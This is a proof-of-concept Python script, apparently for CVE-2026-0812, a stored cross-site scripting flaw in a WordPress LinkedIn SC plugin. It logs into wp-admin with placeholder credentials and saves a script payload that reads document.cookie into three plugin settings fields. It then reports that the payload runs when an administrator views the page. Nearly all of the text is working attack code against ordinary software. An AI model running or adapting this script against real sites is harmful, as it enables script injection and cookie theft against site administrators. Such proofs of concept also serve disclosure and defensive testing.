CVE-2026-0812

import requests from bs4 import BeautifulSoup # CVE-2026-0812 PoC - LinkedIn SC Plugin Stored XSS # Target: WordPress with LinkedIn SC Plugin <= 1.1.9 target_url = "http://target-wordpress-site.com" admin_path = "/wp-admin/admin.php?page=linkedin_sc_settings" # Malicious XSS payload xss_payload = "<script>alert(document.cookie)</script>" # Authenticate as administrator session = requests.Session() login_data = { 'log': 'admin_username', 'pwd': 'admin_password', 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } # Login to WordPress admin session.post(f"{target_url}/wp-login.php", data=login_data) # XSS injection via linkedin_sc_date_format parameter vulnerable_params = { 'linkedin_sc_date_format': xss_payload, 'linkedin_sc_api_key': xss_payload, 'linkedin_sc_secret_key': xss_payload, 'submit': 'Save Changes' } # Send payload response = session.post( f"{target_url}{admin_path}", data=vulnerable_params ) print("XSS payload sent. Payload will execute when admin visits settings page.")

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